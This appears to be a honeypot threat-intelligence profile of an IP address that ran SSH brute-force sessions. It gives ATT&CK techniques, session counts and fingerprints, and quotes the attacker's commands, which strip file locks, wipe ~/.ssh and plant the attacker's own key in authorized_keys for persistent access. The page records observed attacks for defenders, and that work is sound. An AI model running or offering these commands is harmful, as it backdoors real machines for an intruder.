IntrusionLabs IntrusionLabs
← Back to feed

106.13.66.8

TAGGED SUSPICIOUS how we decide →
Threat Confidence
44%
Location
🇨🇳 CN
ASN
AS38365 · Beijing Baidu Netcom Science and Technology Co., Ltd.
Cloud Provider
—
Total Events
84
Above average by volume
Agent Count
1
First / Last Seen
2026-08-13 17:48 — 2026-08-13 19:15
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595 T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Discovery
T1046 T1082
Command and Control
T1105
External Corroboration
Blocklist.de
Reported 2026-09-01 10:01
blocklist_de:reported
Campaigns
Not associated with any campaigns
Session Forensics
scanner ×2 malware_dropper ×3 credential_probe ×5 opportunistic_bruter ×2
Sessions
12 (5 with login)
Avg Depth Score
0.44
Commands Executed
10
Files Downloaded
3
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
  • cat /proc/cpuinfo | grep name | wc -l
Fingerprints
HASSH
04315067d6e69016cbf86b3b51c90734
SSH Client
SSH-2.0-libssh_0.9.6
Evidence Timeline
Scanner a3e3e4ea79a4 w4m_seattle_01 · 2026-08-13 19:13
15%
Loading events...
Malware Dropper aa829345f045 w4m_seattle_01 · 2026-08-13 19:04
4 1 1 100%
Loading events...
Scanner 27cb47305fba w4m_seattle_01 · 2026-08-13 19:04
15%
Loading events...
Malware Dropper f696af1d52eb w4m_seattle_01 · 2026-08-13 18:41
3 1 1 100%
Loading events...
Opportunistic Bruter ebff4c518807 w4m_seattle_01 · 2026-08-13 18:42
1 50%
Loading events...
Credential Probe 98bd9092a0e3 w4m_seattle_01 · 2026-08-13 18:42
1 20%
Loading events...
Opportunistic Bruter ee108e1509e0 w4m_seattle_01 · 2026-08-13 18:32
1 50%
Loading events...
Malware Dropper 95dd73da3ed1 w4m_seattle_01 · 2026-08-13 18:32
3 1 1 100%
Loading events...
Credential Probe cb71676f201e w4m_seattle_01 · 2026-08-13 18:32
1 20%
Loading events...
Credential Probe 8106c1c1ca57 w4m_seattle_01 · 2026-08-13 18:19
1 20%
Loading events...
Credential Probe b0ea0684497b w4m_seattle_01 · 2026-08-13 18:10
1 20%
Loading events...
Credential Probe 3831a672b5fa w4m_seattle_01 · 2026-08-13 17:48
1 20%
Loading events...
{# Cloudflare Web Analytics — cookieless, public pages only. The context processor withholds the token from authenticated requests. #}